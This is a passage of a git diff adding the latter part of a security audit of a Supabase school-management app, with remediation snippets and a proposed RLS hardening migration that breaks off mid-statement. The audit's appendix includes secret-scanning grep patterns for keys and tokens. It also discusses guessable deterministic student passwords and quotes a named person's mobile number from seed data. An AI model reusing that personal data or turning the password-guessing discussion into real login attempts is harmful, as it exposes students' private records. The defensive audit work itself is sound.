+2. `reject_self_approval` (`0002:445`) checks only `OLD.student_id = auth.uid()` and only the `'approved'` transition; also pin `SET search_path = ''` and invert to an allow-list: + +```sql +CREATE OR REPLACE FUNCTION public.guard_leave_decision() RETURNS trigger +LANGUAGE plpgsql SET search_path = '' AS $$ +BEGIN + IF NEW.status IS DISTINCT FROM OLD.status THEN + IF auth.uid() = OLD.student_id THEN + RAISE EXCEPTION 'a student cannot decide their own leave request' USING ERRCODE = '42501'; + END IF; + IF NEW.decided_by IS DISTINCT FROM auth.uid() THEN + RAISE EXCEPTION 'decided_by must be the acting teacher' USING ERRCODE = '42501'; + END IF; + NEW.decided_on := now(); -- server authority for the decision time + END IF; + RETURN NEW; +END $$; +``` + +3. `touch_updated_at` (`0002:462`) — add `SET search_path = ''`; make it `SECURITY INVOKER` explicitly. +4. Every trigger function should be `REVOKE ALL … FROM PUBLIC` like the helpers. + +--- + +### F-15 — Edge Function / supply-chain hardening · **LOW** + +1. **Unexpected exceptions leak as 500 with Deno's default body.** Wrap the handler: + +```ts +Deno.serve(async (req) => { + try { + return await handle(req); + } catch (err) { + console.error('admin-users_unhandled', { name: (err as Error)?.name }); + return json({ error: 'Internal error' }, 500); // never err.message/stack + } +}); +``` + +2. **CORS `*`** (`_shared/cors.ts`). Justified by JWT+role checks, but unnecessary: pin the origin. + +```ts +const ALLOWED = new Set([ + 'https://admin.pacificworldschool.in', + 'http://localhost:5173', +]); +export function corsFor(req: Request): Record<string, string> { + const origin = req.headers.get('origin') ?? ''; + return { + 'Access-Control-Allow-Origin': ALLOWED.has(origin) ? origin : 'null', + 'Vary': 'Origin', + 'Access-Control-Allow-Headers': 'authorization, apikey, content-type', + 'Access-Control-Allow-Methods': 'POST, OPTIONS', + }; +} +``` + +3. **Floating CDN import.** `https://esm.sh/@supabase/supabase-js@2.45.0` executes third-party code inside your server boundary with no integrity check. Vendor it: `import { createClient } from 'npm:@supabase/supabase-js@2.45.0'` (Supabase's own npm specifier, resolved at deploy) and set `deno.lock`. Unify the client version across admin/mobile/edge. +4. **`verify_jwt`** is unset in `supabase/config.toml`. Declare it explicitly so it cannot drift: + +```toml +[functions.admin-users] +verify_jwt = true +``` + +5. **Rate limiting / abuse.** `create-admin` and `import-students` create auth users; add per-caller quotas (e.g. 5 admins/hour, 2 imports/hour) and alert on bursts — an admin token used by malware must not be able to mint 10,000 identities. +6. `loginId` is not validated for length/format before becoming an email local part; add `^[A-Za-z0-9][A-Za-z0-9._/-]{1,31}$` and reject duplicates explicitly (today duplicates surface as an `auth.admin.createUser` error string, which is itself an enumeration oracle for an admin). + +--- + +### F-16 — Realistic PII in shipped seed data · **LOW** + +`apps/admin/src/lib/seed.ts:105-118` ships a full name (`Sahaj Chugh` — matching the repository owner handle) with mobile number `+91 99909 23008`, DOB, admission number and derived password; several other rows carry `+91 98100 …` numbers. This is bundled into every Vercel build (demo route) and into `localStorage`. + +**Fix.** Replace identifiable data with obviously synthetic values (`Student One`, `+91 00000 00000`, `1990-01-01`), delete the `password` field (F-01), and add a CI check that rejects `\+91 9\d{4} \d{5}` in `apps/**/seed.ts`. + +--- + +### F-17 — Fragile escaping on `document.write` sinks · **LOW** + +`escapeHtml` is applied at both call sites (`ReportCard.tsx:106-132`, `StudyRoom.tsx:24-31`), and the live code is safe. Two latent problems: + +1. `printHtml(title, body)` accepts a **pre-built HTML string** — the "escape everything" contract is unenforceable by the type system, and the guardrail is a comment. +2. The ESLint rule intended to protect these sinks **does not match them** (`apps/admin/eslint.config.js`: `CallExpression[callee.property.name='write']` also fires on `localStorage.setItem`-style `.write`; the real sinks are `win.document.write` and are suppressed with an `eslint-disable-next-line` anyway — so the rule is both over-broad and bypassed). + +**Fix.** Make the sink structurally safe: + +```ts +export type SafeHtml = string & { readonly __safeHtml: unique symbol }; +export const safe = (v: unknown): SafeHtml => escapeHtml(v) as SafeHtml; + +export function printDocument(title: string, parts: { html: SafeHtml }[]): void { + const body = parts.map((p) => p.html).join(''); + // …only SafeHtml reaches document.write; a raw string is a type error. + win.document.write(shell(escapeHtml(title), body)); +} +``` + +And replace the ESLint selector with a precise one (`CallExpression[callee.object.property.name='document'][callee.property.name='write']`) plus `no-template-curly-in-string` and an `escape-html`-only import rule. + +--- + +### F-18 — CI does not analyse the security-critical surfaces · **LOW** + +`ci.yml` runs typecheck, lint, admin tests, build and secret-name greps. It does **not**: apply migrations, run the pgTAP/RLS suite (`npm run verify:rls`), lint SQL, scan the Edge Function, or gate on `npm audit`. CodeQL's `javascript-typescript` pack does not reason about RLS policies. So the code that actually protects PII is untested in CI. + +**Fix.** Add jobs: + +```yaml + rls: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@<sha> + - uses: actions/setup-python@<sha> + with: { python-version: '3.12' } + - run: pip install pgserver + - run: python supabase/tests/verify_rls_local.py # must print ALL PASS + - name: every table has RLS + run: | + grep -c "ENABLE ROW LEVEL SECURITY" supabase/migrations/*.sql + # plus a pg query asserting relrowsecurity for all public tables + deps: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@<sha> + - uses: actions/setup-node@<sha> + - run: npm ci + - run: npm audit --audit-level=high # fail, do not warn + sql-lint: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@<sha> + - run: npm i -g sqlfluff && sqlfluff lint supabase/migrations --dialect postgres +``` + +Also add a test that enumerates `pg_tables` and asserts `relrowsecurity` and at least one policy for every table — this catches the "new table without RLS" class that `AGENTS.md` rule 3 tries to prevent by convention. + +--- + +## 6. Phase 6 — Executive summary & compliance mapping + +### 6.1 Findings × standards + +| # | Sev | OWASP Top 10 | OWASP ASVS 4.0 | NIST AI RMF 1.0 | ISO/IEC 42001:2023 | DPDP Act 2023 / Rules | +|---|---|---|---|---|---|---| +| F-01 | Critical | A02, A07, A04 | V2.1, V2.2, V2.5, V8.3 | GOVERN-1.2, MANAGE-2.4 | A.6.1.3, A.9.2 | §8(4) security safeguards; Rule 15(2) | +| F-02 | Critical | A01 | V4.1, V4.2, V8.2 | MANAGE-2.4 | A.6.1.2, A.8.2 | §6(1) consent (parental, §9) | +| F-03 | High | A01, A04 | V4.1, V4.3 | MANAGE-2.4 | A.6.1.2 | §6(1)(a) purpose limitation | +| F-04 | High | A01, A07 | V4.2, V8.2 | MANAGE-2.4, MAP-3.4 | A.6.1.4 | §8(4) | +| F-05 | High | A02, A05 | V8.1, V8.3, V14.2 | MAP-1.5, MANAGE-2.1 | A.9.3, A.8.4 | §8(4), §8(5) breach | +| F-06 | High | A07 | V2.1, V2.5, V3.7 | MANAGE-1.3 | A.6.2.5 | §8(4) | +| F-07 | Med | A02, A09 | V8.3, V7.1 | MANAGE-2.1 | A.8.4 | §8(4) | +| F-08 | Med | A01, A04 | V4.1, V4.3 | — | A.6.1.2 | §6(1)(a) | +| F-09 | Med | A09, A08 | V7.1, V7.2, V7.4 | GOVERN-3.2, MANAGE-4.1 | A.6.2.6, A.9.4 | §8(4) accountability | +| F-10 | Med | A01 | V4.1 | — | A.6.1.2 | §8(4) | +| F-11 | Med | A01, A05 | V4.1, V8.2 | MAP-3.4 | A.6.1.2 | §8(4) | +| F-12 | Med | A01 | V4.1, V4.3 | — | A.6.1.2 | §8(4) | +| F-13 | Med | A05 | V14.1 | MAP-4.2, GOVERN-6.1 | A.9.1, A.9.2 | **§16(1) + Rule 15(2)** | +| F-14 | Low | A08 | V5.1, V5.3 | — | A.8.3 | §8(4) | +| F-15 | Low | A05, A06, A09 | V14.2, V8.3, V7.1 | MANAGE-1.3 | A.7.4, A.9.2 | §8(4) | +| F-16 | Low | A02, A05 | V8.3 | MAP-1.5 | A.9.3 | §8(4) | +| F-17 | Low | A03 | V5.3.3, V1.14 | — | A.8.3 | §8(4) | +| F-18 | Low | A06, A09 | V14.2, V7.1 | GOVERN-2.1, MANAGE-3.1 | A.6.2.6 | §8(4) | + +### 6.2 NIST AI RMF function view + +Because there is no AI system in scope, the RMF mapping is a *readiness* posture for the day an LLM/tutor/MCP integration is added: + +- **GOVERN** — `AGENTS.md` is an effective, enforceable policy document (secret-free clients, RLS-first, server-side targeting). Extend it with: "no model output may reach a shell/SQL/HTML sink unescaped", "every agent/tool credential is per-user and short-lived", "every prompt template is versioned and reviewed". +- **MAP** — this report is the inventory artefact; keep it current as F-01…F-18 close. +- **MEASURE** — add the RLS suite + `npm audit` to CI (F-18) and the canary tests in §4.6 as automated probes. +- **MANAGE** — hotfix list below, with owners and a re-test date. + +### 6.3 Prioritised plan + +**Immediate hotfixes (≤72 h) — all reversible, all test-covered** + +| Order | Action | Findings | Effort | +|---|---|---|---| +| 1 | **F-01c first (it is the real control):** set Auth rate limits and failed-login detection/alerting; stop flagging this as "later" | F-01, F-01c | 4 h | +| 2 | **F-01d:** strip the `password` field from client state, the People table, toasts and the CSV export; keep the scheme, remove bulk disclosure | F-01, F-01d | 4 h | +| 3 | **F-01b:** assurance tier — deny `leave_requests`, `fee_records`, `student_details` guardian contact to password-only sessions | F-01, F-01b | 1 d | +| 4 | Forced first-login rotation **only where the school permits it**, and MFA for `admin` (not for students) | F-06 | 1 d | +| 5 | Migration `0005_authorization_hardening.sql`: declaration signatures, poll options/votes, notice receipts, books/book_issues, helper revokes (all snippets in §5) | F-02, F-03, F-08, F-10, F-11, F-12 | 1 d | +| 6 | Decouple `viewAsRole` from `isAdmin`/`requireRole`; refuse for non-admins | F-04 | 2 h | +| 7 | Stop persisting `people` PII to `localStorage`; purge existing keys | F-05 | 3 h | +| 8 | Stop swallowing `audit_log` insert errors; make the table append-only | F-09 | 2 h | +| 9 | Re-run `supabase/tests/verify_rls_local.py` + add the F-02/F-03/F-08 negative cases | all | 4 h | + +**Architectural hardening (this quarter)** + +1. **Identity assurance without changing the password rule**: guardian-bound accounts with SMS OTP (F-01a), step-up assurance tiers in RLS (F-01b), Supabase Auth rate limits plus the `login_events` burst monitor (F-01c), MFA for `admin` only, and a self-service reset flow that does not require a secret the school is unwilling to keep. +2. **Make the database the only authority**: add `TO authenticated` to every policy, add a "no table without RLS + policy" CI assertion, add actor-bound audit writes, drop every helper no policy uses. +3. **Data minimisation**: remove DOB/phone from role-obvious reads; serve student PII through narrow, audited views; add a `student_details` column grant so teachers read `full_name` without `date_of_birth`. +4. **Explicit directory model**: if classmates/teachers must be discoverable, ship a `security_invoker` view exposing only shared-section `id, full_name, role`. +5. **Platform**: pin the Supabase project region, sign DPAs, set retention/purge, add storage buckets + policies if the `*_path` columns are to be used (today they are dangling references). +6. **Supply chain**: vendor the Edge Function dependency, set `deno.lock`, unify `@supabase/supabase-js` versions, make `npm audit` a failing gate, either implement `zod` validation or drop the dependency. +7. **The day you add an LLM/tutor/MCP server**: enforce (a) tool credentials are the *user's* token, never a service role; (b) model output is data, never instruction, at every boundary; (c) all retrieval content is wrapped in structural delimiters and never concatenated into system prompts; (d) every tool call is authorized server-side against RLS, with the model treated as an untrusted client. Everything in §1.2's trust-boundary note applies verbatim and more strongly. + +--- + +## Appendix A — Reproduction & evidence index + +```bash +# environment used for this audit +cd /home/user/schoolerp && npm ci # 762 packages +npm audit --audit-level=moderate # found 0 vulnerabilities + +# executable proofs (4 tests, currently green — they assert the *insecure* behaviour) +cd apps/admin && npx vitest run # 3 files, 14 tests passed +npx vitest run tests/poc-security.test.tsx # PoC-1, PoC-2, PoC-3 + +# database-level verification (owner, needs a throwaway Postgres) +python3 -m venv .venv && .venv/bin/pip install pgserver +.venv/bin/python supabase/tests/verify_rls_local.py # expect: ALL PASS + +# secret sweep over all history (0 hits) +git rev-list --all | while read c; do + git grep -nEI 'eyJhbGciOi|sbp_[A-Za-z0-9]{20,}|sk-[A-Za-z0-9]{20,}|SUPABASE_SERVICE_ROLE_KEY=[A-Za-z0-9]' "$c" -- . ; +done | sort -u +``` + +**Limitations.** No live Supabase project was contacted (out of scope, and probing a deployed school system is not appropriate here); Postgres was unavailable in this sandbox, so RLS findings are derived from policy text plus the project's own documented `authenticated` grants (`supabase/tests/verify_rls_local.py` mirrors Supabase defaults). `apps/mobile` is a bare Expo template — no application logic exists to assess. Column-level `GRANT`s in `0004` are only effective if they run **after** any broader grant; confirm on staging that `verify_rls_local.py`'s blanket `GRANT … ON all tables` is not what ships to production. + +## Appendix B — Files reviewed + +`AGENTS.md`, `PROJECT_STATUS.md`, `package.json`, `vercel.json`, `.github/workflows/{ci,codeql,ossar,codacy}.yml`, `supabase/config.toml`, `supabase/migrations/0001–0004`, `supabase/functions/admin-users/index.ts`, `supabase/functions/_shared/cors.ts`, `supabase/tests/*`, `scripts/create-admin.mjs`, `packages/shared/src/{supabase,targeting,database.types,index}.ts`, `apps/admin/vite.config.ts`, `apps/admin/eslint.config.js`, `apps/admin/.oxlintrc.json`, `apps/admin/index.html`, `apps/admin/src/{App,main}.tsx`, `apps/admin/src/contexts/AuthContext.tsx`, `apps/admin/src/lib/{supabase,demo,utils,types,appData,seed}.ts(x)`, `apps/admin/src/components/{AppShell,ui}.tsx`, `apps/admin/src/pages/{Login,People,AuditLog,ReportCard,StudyRoom,Fees}.tsx`, `apps/admin/tests/*`, `apps/mobile/{App.tsx,app.json,package.json,.claude/settings.json,.env.example}`, `docs/audits/*`, `docs/security/*`. diff --git a/docs/superpowers/specs/2026-11-03-school-erp-design.md b/docs/superpowers/specs/2026-11-03-school-erp-design.md index d6101c0..b7a42f3 100644 --- a/docs/superpowers/specs/2026-11-03-school-erp-design.md +++ b/docs/superpowers/specs/2026-11-03-school-erp-design.md @@ -337,3 +337,4 @@ No calendar estimates. A status document that lies is worse than none. | 2026-11-04 | Demo mode (seeded data, no Supabase keys) is a first-class state of the admin console | Lets the owner review every screen before the backend is wired; shows a banner and never writes to a database | | 2026-11-05 | Passwordless demo entry (Admin / Teacher / Student picker on the login page) replaces demo credentials | Owner needs a one-click showcase for school leadership; hardcoded demo passwords tripped GitGuardian. Demo entry stays disabled whenever Supabase is configured, so identity against a live backend always comes from Supabase Auth | | 2026-11-05 | Isolated `/demo` showcase available even with Supabase configured (supersedes the earlier demo-entry restriction) | Owner needs passwordless Admin / Teacher / Student demonstrations on the production website. Full-page navigation enters a separate router base; no Supabase client is constructed there, the demo identity is tab-local, and sample edits use their own storage key. Real login and RLS remain unchanged. | +| 2026-11-06 | `Student@DDMMYYYY` initial password **retained** (owner reaffirmed). Compensating controls are now mandatory: self-chosen PIN + trusted-device step-up (no SMS cost), assurance-tier RLS that denies medical/fee/guardian reads to password-only sessions, Auth rate limits + failed-login alerting, and no bulk credential display/export | School staff must be able to hand a known password to a parent at the counter, so the credential cannot be random. Because the password is derivable from public data, login is treated as a low-assurance identifier and the data behind it is defended in RLS instead. Audit: `docs/audits/2026-11-06-application-security-audit.md` §F-01 | diff --git a/supabase/migrations/0005_authorization_hardening.sql b/supabase/migrations/0005_authorization_hardening.sql new file mode 100644 index 0000000..fca31b9 --- /dev/null +++ b/supabase/migrations/0005_authorization_hardening.sql @@ -0,0 +1,547 @@ +-- ============================================================================ +-- 0005_authorization_hardening.sql +-- +-- Consolidates the SQL remediation from +-- docs/audits/2026-11-06-application-security-audit.md +-- +-- STATUS: PROPOSED — review before applying. Nothing here has been applied to +-- any project. Deliberately contains no BEGIN/COMMIT and no CREATE INDEX +-- CONCURRENTLY, so it can run either through `supabase db push` or by pasting +-- into the Supabase SQL Editor (which executes statements one at a time). +-- +-- ORDER MATTERS for two reasons: +-- * Part 0 must run before everything else (helpers used by later policies). +-- * Part 3 REVOKEs table-level SELECT on student_details; anything that +-- currently does `select *` from student_details will start failing and +-- must be changed to name its columns. +-- +-- WHERE TO APPLY: the live project already has 0001-0004 applied. Apply this to +-- a STAGING project first, run `python3 supabase/tests/verify_rls_local.py` +-- (update it to include this file), and only then to production. +-- +-- SAFETY NOTE ON PART 4 (declaration signatures): it is a real behaviour change +-- for any student whose signature was inserted by an admin on their behalf +-- (for example a bulk "everyone signs the excursion form" action). Inspect the +-- existing rows before applying and decide whether to keep or delete them. +-- ============================================================================ + + +-- ============================================================================ +-- PART 0 — helper hardening (F-11, F-14) [run first] +-- ============================================================================ + +-- app_role() was the only helper declared without qualified types, so its body +-- resolved `profiles` / `auth.uid()` through the caller's search_path at +-- creation time. Recreate it like the others. +CREATE OR REPLACE FUNCTION public.app_role() RETURNS text +LANGUAGE sql STABLE SECURITY DEFINER +SET search_path = '' +AS $$ + SELECT p.role::text FROM public.profiles p WHERE p.id = auth.uid(); +$$; + +REVOKE ALL ON FUNCTION public.app_role() FROM PUBLIC, anon; +GRANT EXECUTE ON FUNCTION public.app_role() TO authenticated; + +-- `is_enrolled(uuid)` was an unscoped existence oracle: it accepted ANY profile +-- id and never compared it to auth.uid(), so any role (anon included) could ask +-- "is this UUID an enrolled student?". No policy uses it. +REVOKE ALL ON FUNCTION public.is_enrolled(uuid) FROM PUBLIC, anon, authenticated; + +-- Same for the section -> class-teacher lookup: it returned another section's +-- teacher to any caller. +REVOKE ALL ON FUNCTION public.class_teacher_of_section(uuid) FROM PUBLIC, anon, authenticated; + +-- Recreate the privilege guard so the service-role bypass is explicit and +-- created_at is protected too, and so the admin path is checked BEFORE the +-- blanket role exemption. +CREATE OR REPLACE FUNCTION public.protect_profile_privileges() +RETURNS trigger +LANGUAGE plpgsql SECURITY INVOKER +SET search_path = '' +AS $$ +BEGIN + -- Provisioning paths (Edge Function / bootstrap script / migrations). + IF current_user IN ('service_role', 'postgres') THEN + RETURN NEW; + END IF; + + IF public.is_admin() THEN + RETURN NEW; + END IF; + + IF NEW.role IS DISTINCT FROM OLD.role + OR NEW.is_active IS DISTINCT FROM OLD.is_active + OR NEW.login_id IS DISTINCT FROM OLD.login_id + OR NEW.created_at IS DISTINCT FROM OLD.created_at THEN + RAISE EXCEPTION 'permission denied: privileged profile columns are protected' + USING ERRCODE = '42501'; + END IF; + + RETURN NEW; +END; +$$; + +-- Leave decisions: block self-decision on ANY transition (not just ->approved), +-- require decided_by to be the actor, and let the server set the timestamp. +CREATE OR REPLACE FUNCTION public.guard_leave_decision() +RETURNS trigger +LANGUAGE plpgsql SECURITY INVOKER +SET search_path = '' +AS $$ +BEGIN + IF NEW.status IS DISTINCT FROM OLD.status THEN + IF auth.uid() = OLD.student_id THEN + RAISE EXCEPTION 'a student cannot decide their own leave request' + USING ERRCODE = '42501'; + END IF; + IF NEW.decided_by IS DISTINCT FROM auth.uid() THEN + RAISE EXCEPTION 'decided_by must be the acting teacher' + USING ERRCODE = '42501'; + END IF; + NEW.decided_on := now(); + END IF; + RETURN NEW; +END; +$$; + +DROP TRIGGER IF EXISTS leave_requests_no_self_approval ON public.leave_requests; +DROP TRIGGER IF EXISTS leave_requests_guard_decisions ON public.leave_requests; +CREATE TRIGGER leave_requests_guard_decisions + BEFORE UPDATE ON public.leave_requests + FOR EACH ROW EXECUTE FUNCTION public.guard_leave_decision(); + +-- touch_updated_at had no pinned search_path. +CREATE OR REPLACE FUNCTION public.touch_updated_at() +RETURNS trigger +LANGUAGE plpgsql SECURITY INVOKER +SET search_path = '' +AS $$ +BEGIN + NEW.updated_at = now(); + RETURN NEW; +END; +$$; + +REVOKE ALL ON FUNCTION public.protect_profile_privileges() FROM PUBLIC; +REVOKE ALL ON FUNCTION public.guard_leave_decision() FROM PUBLIC; +REVOKE ALL ON FUNCTION public.touch_updated_at() FROM PUBLIC; + + +-- ============================================================================ +-- PART 1 — F-01a: a zero-cost second factor for a deterministic password +-- ============================================================================ +-- The school requires Student@DDMMYYYY, so the password cannot be the only +-- factor. These two tables make a classmate's guess insufficient without any +-- SMS/email cost (the design doc rules out SMS on cost grounds). + +-- Self-chosen 6-digit PIN, Argon2id-hashed by the Edge Function. Never sent to +-- the client, never in a JWT. +CREATE TABLE IF NOT EXISTS public.student_pin ( + profile_id uuid PRIMARY KEY REFERENCES public.profiles(id) ON DELETE CASCADE, + pin_hash text NOT NULL, + set_at timestamptz NOT NULL DEFAULT now(), + updated_at timestamptz NOT NULL DEFAULT now() +); + +ALTER TABLE public.student_pin ENABLE ROW LEVEL SECURITY; +-- Nobody reads this table through PostgREST, not even the owner of the row: +-- verification happens in the Edge Function with the service role. +REVOKE ALL ON TABLE public.student_pin FROM anon, authenticated; + +-- Devices a profile has signed in from. A new device needs an approval from +-- the class teacher or an admin (the console's /approvals page is the natural +-- place for that queue). +CREATE TABLE IF NOT EXISTS public.trusted_devices ( + id uuid PRIMARY KEY DEFAULT gen_random_uuid(), + profile_id uuid NOT NULL REFERENCES public.profiles(id) ON DELETE CASCADE, + device_fingerprint text NOT NULL, -- sha256(first-party random cookie + UA) + label text, + approved_by uuid REFERENCES public.profiles(id) ON DELETE SET NULL, + approved_at timestamptz, + last_seen_at timestamptz NOT NULL DEFAULT now(), + created_at timestamptz NOT NULL DEFAULT now(), + UNIQUE (profile_id, device_fingerprint) +); + +CREATE INDEX IF NOT EXISTS trusted_devices_pending_idx + ON public.trusted_devices (created_at) + WHERE approved_at IS NULL; + +ALTER TABLE public.trusted_devices ENABLE ROW LEVEL SECURITY; + +DROP POLICY IF EXISTS trusted_devices_self_read ON public.trusted_devices; +CREATE POLICY trusted_devices_self_read ON public.trusted_devices + FOR SELECT TO authenticated + USING (auth.uid() = profile_id); + +DROP POLICY IF EXISTS trusted_devices_staff_approve ON public.trusted_devices; +CREATE POLICY trusted_devices_staff_approve ON public.trusted_devices + FOR UPDATE TO authenticated + USING ( + (public.is_admin() OR public.is_class_teacher_of(profile_id)) + AND approved_at IS NULL + ) + WITH CHECK ( + (public.is_admin() OR public.is_class_teacher_of(profile_id)) + AND approved_at IS NOT NULL + AND approved_by = auth.uid() + ); + +-- No INSERT/DELETE by any browser role; rows are written by the Edge Function +-- (service_role) and by the approval policy above. +REVOKE INSERT, DELETE ON TABLE public.trusted_devices FROM anon, authenticated; +GRANT UPDATE (approved_by, approved_at) ON TABLE public.trusted_devices TO authenticated; + + +-- ============================================================================ +-- PART 2 — F-01c: make guessing visible and expensive +-- ============================================================================ +-- A ~5,500-value password space is only dangerous because it is silent and +-- unlimited. This table is what lets you answer "is someone enumerating?". + +CREATE TABLE IF NOT EXISTS public.login_events ( + id uuid PRIMARY KEY DEFAULT gen_random_uuid(), + login_id text, + succeeded boolean NOT NULL, + reason text, -- never the submitted password + ip_hash text, -- sha256(ip || server-side salt), never the raw IP + user_agent text, + created_at timestamptz NOT NULL DEFAULT now() +); + +CREATE INDEX IF NOT EXISTS login_events_burst_idx + ON public.login_events (created_at) + WHERE succeeded = false; + +CREATE INDEX IF NOT EXISTS login_events_login_idx + ON public.login_events (login_id, created_at); + +ALTER TABLE public.login_events ENABLE ROW LEVEL SECURITY; + +DROP POLICY IF EXISTS login_events_admin_read ON public.login_events; +CREATE POLICY login_events_admin_read ON public.login_events + FOR SELECT TO authenticated + USING (public.is_admin()); + +REVOKE INSERT, UPDATE, DELETE ON TABLE public.login_events FROM anon, authenticated; +-- Writes arrive from the Edge Function / auth webhook with service_role. + +-- Suggested detection (run as a scheduled job, alert to the DPO + IT): +-- +-- SELECT login_id, count(*) AS failures, min(created_at), max(created_at) +-- FROM public.login_events +-- WHERE NOT succeeded AND created_at > now() - interval '10 minutes' +-- GROUP BY login_id +-- HAVING count(*) >= 5; +-- +-- SELECT ip_hash, count(*) FROM public.login_events +-- WHERE NOT succeeded AND created_at > now() - interval '10 minutes' +-- GROUP BY ip_hash HAVING count(*) >= 20; + + +-- ============================================================================ +-- PART 3 — F-01b: assurance tiers (defend the data, since login is guessable) +-- ============================================================================ + +-- True when the session carries a step-up factor (MFA, verified PIN or an +-- approved device) stamped into the JWT by a Supabase access-token hook. +-- Because it reads the signed claims, a client cannot fake it. +CREATE OR REPLACE FUNCTION public.has_step_up() RETURNS boolean +LANGUAGE sql STABLE SECURITY DEFINER +SET search_path = '' +AS $$ + SELECT COALESCE( + (current_setting('request.jwt.claims', true)::jsonb + -> 'app_metadata' ->> 'amr') = 'mfa', + false + ); +$$; + +REVOKE ALL ON FUNCTION public.has_step_up() FROM PUBLIC, anon; +GRANT EXECUTE ON FUNCTION public.has_step_up() TO authenticated; + +-- Medical / safeguarding: not readable on a password-only session, not even by +-- the student whose record it is. Teachers and admins keep their existing access. +DROP POLICY IF EXISTS leave_requests_student_read ON public.leave_requests; +CREATE POLICY leave_requests_student_read ON public.leave_requests + FOR SELECT TO authenticated + USING ( + (auth.uid() = student_id AND public.has_step_up()) + OR public.is_class_teacher_of(student_id) + OR (public.teaches_student(student_id) AND public.has_step_up()) + OR public.is_admin() + ); + +-- Money: same tier. +DROP POLICY IF EXISTS fee_records_student_read ON public.fee_records; +CREATE POLICY fee_records_student_read ON public.fee_records + FOR SELECT TO authenticated + USING ( + (auth.uid() = student_id AND public.has_step_up()) + OR public.is_admin() + ); + +-- Guardian contact + DOB: remove from routine table reads entirely, and +-- expose the contact fields through a narrow, audited function instead. +REVOKE SELECT ON TABLE public.student_details FROM anon, authenticated; +GRANT SELECT (profile_id, admission_no) ON TABLE public.student_details TO authenticated; + +DROP FUNCTION IF EXISTS public.student_contact(uuid); +CREATE FUNCTION public.student_contact(p_student_id uuid) +RETURNS TABLE (guardian_name text, guardian_phone text) +LANGUAGE sql STABLE SECURITY DEFINER +SET search_path = '' +AS $$ + SELECT sd.guardian_name, sd.guardian_phone + FROM public.student_details sd + WHERE sd.profile_id = p_student_id + AND ( + public.is_admin() + OR public.is_class_teacher_of(p_student_id) + OR public.teaches_student(p_student_id) + ); +$$; + +REVOKE ALL ON FUNCTION public.student_contact(uuid) FROM PUBLIC, anon; +GRANT EXECUTE ON FUNCTION public.student_contact(uuid) TO authenticated; + +-- NOTE: existing app code that does `select('*')` on student_details will now +-- fail with "permission denied for table student_details". Change those call +-- sites to name the columns they need. + + +-- ============================================================================ +-- PART 4 — F-02: declaration signatures need a relationship check (CRITICAL) +-- ============================================================================ + +DROP POLICY IF EXISTS declaration_signatures_student_insert ON public.declaration_signatures; +CREATE POLICY declaration_signatures_student_insert ON public.declaration_signatures + FOR INSERT TO authenticated + WITH CHECK ( + -- 1. You may only sign as yourself. + auth.uid() = student_id + -- 2. Only students sign. + AND public.app_role() = 'student' + -- 3. The form must be addressed to you, and still open. + AND EXISTS ( + SELECT 1 + FROM public.declaration_forms f + WHERE f.id = declaration_signatures.form_id + AND f.audience IN ('students', 'both') + AND (f.due_date IS NULL OR f.due_date >= current_date) + AND ( + cardinality(f.section_ids) = 0 + OR EXISTS ( + SELECT 1 + FROM public.enrollments e + WHERE e.student_id = auth.uid() + AND e.section_id = ANY (f.section_ids) + ) + ) + ) + ); + +-- Signatures are append-only evidence. +REVOKE UPDATE, DELETE ON TABLE public.declaration_signatures FROM anon, authenticated; + +-- Keep the read scope consistent with the write scope. +DROP POLICY IF EXISTS declaration_forms_read ON public.declaration_forms; +CREATE POLICY declaration_forms_read ON public.declaration_forms + FOR SELECT TO authenticated + USING ( + public.is_admin() + OR created_by = auth.uid() + OR ( + audience IN ('students', 'both') + AND ( + cardinality(section_ids) = 0 + OR EXISTS ( + SELECT 1 FROM public.enrollments e + WHERE e.student_id = auth.uid() AND e.section_id = ANY (declaration_forms.section_ids) + ) + ) + ) + ); + + +-- ============================================================================ +-- PART 5 — F-03: poll injection + school-wide broadcast by any teacher +-- ============================================================================ + +DROP POLICY IF EXISTS polls_teacher_insert ON public.polls; +CREATE POLICY polls_teacher_insert ON public.polls + FOR INSERT TO authenticated + WITH CHECK ( + auth.uid() = created_by + AND (public.is_admin() OR public.app_role() = 'teacher') + -- Only an admin may address the whole school. + AND (public.is_admin() OR cardinality(section_ids) > 0) + -- Everyone else is limited to their own sections. + AND NOT EXISTS ( + SELECT 1 FROM unnest(section_ids) AS s(section_id) + WHERE NOT public.teaches_section(s.section_id) + ) + ); + +DROP POLICY IF EXISTS polls_read ON public.polls; +CREATE POLICY polls_read ON public.polls + FOR SELECT TO authenticated + USING ( + public.is_admin() + OR created_by = auth.uid() + OR cardinality(section_ids) = 0 + OR EXISTS ( + SELECT 1 FROM public.enrollments e + WHERE e.student_id = auth.uid() AND e.section_id = ANY (polls.section_ids) + ) + ); + +DROP POLICY IF EXISTS poll_options_owner_insert ON public.poll_options; +CREATE POLICY poll_options_owner_insert ON public.poll_options + FOR INSERT TO authenticated + WITH CHECK ( + EXISTS ( + SELECT 1 FROM public.polls p + WHERE p.id = poll_options.poll_id + AND p.created_by = auth.uid() + AND (p.closes_on IS NULL OR p.closes_on >= current_date) + ) + ); + +-- BEFORE applying the next constraint, check for duplicates introduced by the +-- old open policy: +-- SELECT poll_id, position, count(*) FROM public.poll_options +-- GROUP BY 1,2 HAVING count(*) > 1; +-- and renumber the extras if any exist. +ALTER TABLE public.poll_options + DROP CONSTRAINT IF EXISTS poll_options_position_unique; +ALTER TABLE public.poll_options + ADD CONSTRAINT poll_options_position_unique UNIQUE (poll_id, position); + + +-- ============================================================================ +-- PART 6 — F-08: poll votes must reference an option of the same poll, +-- from an open poll, addressed to the voter +-- ============================================================================ + +ALTER TABLE public.poll_options + DROP CONSTRAINT IF EXISTS poll_options_poll_id_id_key; +ALTER TABLE public.poll_options + ADD CONSTRAINT poll_options_poll_id_id_key UNIQUE (poll_id, id); + +ALTER TABLE public.poll_votes + DROP CONSTRAINT IF EXISTS poll_votes_option_in_poll; +ALTER TABLE public.poll_votes + ADD CONSTRAINT poll_votes_option_in_poll + FOREIGN KEY (poll_id, option_id) + REFERENCES public.poll_options (poll_id, id) + ON DELETE CASCADE; + +DROP POLICY IF EXISTS poll_votes_student_insert ON public.poll_votes; +CREATE POLICY poll_votes_student_insert ON public.poll_votes + FOR INSERT TO authenticated + WITH CHECK ( + auth.uid() = student_id + AND public.app_role() = 'student' + AND EXISTS ( + SELECT 1 FROM public.polls p + WHERE p.id = poll_votes.poll_id + AND (p.closes_on IS NULL OR p.closes_on 